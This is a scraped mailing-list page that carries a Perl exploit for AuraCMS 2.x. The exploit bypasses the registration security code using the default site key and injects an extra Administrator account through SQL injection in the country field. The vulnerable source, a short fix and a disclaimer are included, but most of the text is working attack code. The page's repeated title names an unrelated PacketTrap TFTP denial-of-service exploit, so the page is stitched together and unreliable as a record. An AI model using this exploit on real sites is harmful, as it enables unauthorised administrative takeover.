

PacketTrap Networks pt360 2.0.39 TFTP Remote DoS Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-03/msg00392.html>

- *From:* r57blg@xxxxxxxxx
 - *Date:* 29 Mar 2008 22:06:52 -0000
-

```
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# -----
# AuraCMS 2.x (user.php) – Security Code Bypass & Add Administrator Exploit
# Waktu : Feb 28 2008 08:00PM
# Software : AuraCMS
# Versi : 2.0
# 2.1
# 2.2.1
# http://www.r57shell.in/r57.txt?
#
# -----
# Audit Oleh : NTOS-Team
# Lokasi : Indonesia | http://newhack.org
# Penjelasan :
#
# Kutu pada berkas "user.php" direktori "/content"
# ---//---
# 59. if (!$nama || preg_match("/[^\a-zA-Z0-9_-]/", $nama)) $error .= "Karakter Username tidak diizinkan kecuali a-z,A-Z,0-9,-, dan _<br />";
# 60. if (strlen($nama) > 10) $error .= "Username Terlalu Panjang Maksimal 10 Karakter<br />";
# 61. if (strpos($nama, " ") > 0) $error .= "Username Tidak Boleh Menggunakan Spasi";
# 62. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 63. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM temp_useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 64. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";
# 65. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM temp_useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";
# 66. if (!nama) $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";
# 67. if ($cekperaturan != "1") $error .= "You should be agree with rules and conditions of use!<br />";
# 68. if (!nama) $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";
# 69. if (!password) $error .= "Error: Formulir Password belum diisi , silahkan ulangi.<br />";
# 70. if ($password != $rpassword) $error .= "Password and Retype Password Not Macth.<br />";
# 71. if (!country) $error .= "Error: Formulir Negara belum diisi , silahkan ulangi.<br />";
# 72. checkemail($email);
```

PacketTrap Networks pt360 2.0.39 TFTP Remote DoS Exploit

```
# 73. $code = substr(hexdec(md5("".date("F j")."". $_POST['random_num']."". $sitekey."")), 2, 6);
# 74. if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code
Invalid<br />";
# 75.
# 76.
# 77. if ($error){
# 78. $tengah .= '<table width="100%" border="0" cellspacing="0" cellpadding="0"
class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"></td><td align="center"><font
class="option">'. $error. '</font></td><td align="right"></td></tr></table></td></tr></table>';
# 79. }else{
# 80. $hasil1 = $koneksi_db->sql_query("INSERT INTO useraura (user, email, password , level, tipe,
negara)VALUES('$nama', '$email', '$password','User','aktif', '$country')");
# ----//----
# => Security Code Bypass
# baris 73 - 74 kode yang menarik, kita coba belah perlahan 2 baris ini
# $sitekey sudah terdefinisi di dalam berkas "config.php" direktori "includes"
# $_POST['random_num'] nilai acak yang dikirim melalui Form isian registrasi User secara hidden [bukan
hasil isian User]
# $_POST['gfx_check'] nilai yang dikirim oleh USER melalui Form isian register User mengenai Security
Code
# dan selengkap nya dapat di baca pada http://ezine.echo.or.id/ezine18/e18.005.txt
#
# => Add Administrator [INSERT Metode]
# baik... kita sudah bisa membypass sekuriti kode, sekarang buat admin baru di site target :p
# baris 71. variabel "country" jika tidak diisi hasil nya $error, namun sayang hanya sebatas itu saja aturannya
:(
# kita lihat pada baris 80. VALUES('$nama', '$email', '$password','User','aktif', '$country') kembali disini tidak
ada penyaringan
# apa yang kamu pikirkan... mmm... menarik... nakal... jahat... tapi INDAH bukan... ;)
# ya... bagaimana kalo kami berpikir seperti ini ;
#
# VALUES('$nama', '$email', '$password','User','aktif', 'Indonesia[]'),('Attacker', 'attacker@xxxxxxx',
'MD5_Pass', 'Administrator', 'aktif', 'Undergr0und')");
#
# baru ini namanya p0rn0c0d3...,
# satu sesi register 2 user yang di buat, pertama user yang sesuai isian form, yang kedua adalah User dengan
Administrator hasil keNAKALan User :D
# terima kasih untuk author http://www.milw0rm.com/papers/149
#
# => Perbaikan Sederhana
# 1. Security Code
# Ganti dengan Captcha yang berdasarkan session, dan cari Captcha yang tidak mudah dibaca OCR
# 2. Add Administrator
# Ganti Kode baris 71. pada berkas "user.php" dengan ;
# ----//----
# 71. if (!$country || preg_match("/^[a-zA-Z]/", $country)) $error .= "Error: Formulir Negara belum diisi ,
silahkan ulangi.<br />";
# ----//----
#
```

PacketTrap Networks pt360 2.0.39 TFTP Remote DoS Exploit

```
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetestan dan pembuktian dari apa yang kami pelajari"
# Segala penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami
#
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,opt1lc] ~
#
use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;
use Getopt::Long;
no warnings;

if(!$ARGV[1]) {
print "\n |-----|";
print "\n | Indonesian Newhack Technology |";
print "\n |-----|";
print "\n | AuraCMS <= 2.2.1 (user.php) |";
print "\n | 1.Security Code Bypass |";
print "\n | 2.Add Administrator |";
print "\n | Coded by NTOS-Team |";
print "\n |-----|";
print "\n | exploit berhasil jika magic_quotes_gpc = off";
print "\n[!] Penggunaan : ";
print "\n[>] perl auracms-user.pl [Site] [Path] ";
print "\n ";
print "\n[!] Contoh : ";
print "\n[>] perl auracms-user.pl localhost /auracms2x/";
print "\n ";
print "\n";
exit;
}
$host = $ARGV[0];
$path = $ARGV[1];
$injek = "Indonesia'),('t4mugel4p', 'gelap@banget.gitu',
'213aa1379cce2862538be1c046319684','Administrator','aktif', 'DuniaGelap";
@namabulan = qw(January February March April May June July August September October November
December);
$sitekey = "x1a1MhphAur4kea7V3Rs820dweOwxIw4n3UgSusyM4nt04"; #defaul sitekey dari config.php
$tgl = (localtime)[3];
$bln = (localtime)[4];
$bulan = $namabulan[$bln];
$date = "$bulan $tgl";

## Breaking Security Code Auracms 2.x
$browser = LWP::UserAgent->new() or die();
$getgfx = $browser -> get("http://".$host.$path."?pilih=user&aksi=register.");
$set = $getgfx -> content;
if ($set =~ /random_num value="(.*?)"></td>/) {
$randnum = $1;
}
$gfx = substr(hex(md5_hex($date.$randnum.$sitekey)), 2, 6);
```

```

## Proses Add Administrator
$browser = LWP::UserAgent->new() or die();
$postingkomen = $browser -> post(
"http://".$host.$path."?pilih=user&aksi=register,
[
"nama"=>"t1pu4n",
"email"=>"k3tipu\@nie.yea",
"password"=>"terimakasih",
"rpassword"=>"terimakasih",
"country"=>$injek,
"gfx_check"=>$gfx,
"random_num"=>$randnum,
"cekperaturan"=>"1",
"submit"=>"Submit",
],
);
$komen = $postingkomen -> content;
if ($komen =~ />Please Login With Your Username and Your Password</) {
print "[+]Sukses Register User\n";
print "[+]Silahkan dicoba login\n";
print "[+]Username : t4mugel4p\n";
print "[+]Password : t4mugel4p\n";
exit();}
if ($komen =~ />Error/) {
print "[!]Terjadi Kesalahan Pada Proses Register\n";
exit();}
print $komen;
print "[!]\n Exploit Gagal!!! :)\n";

# milw0rm.com [2008-03-28]

```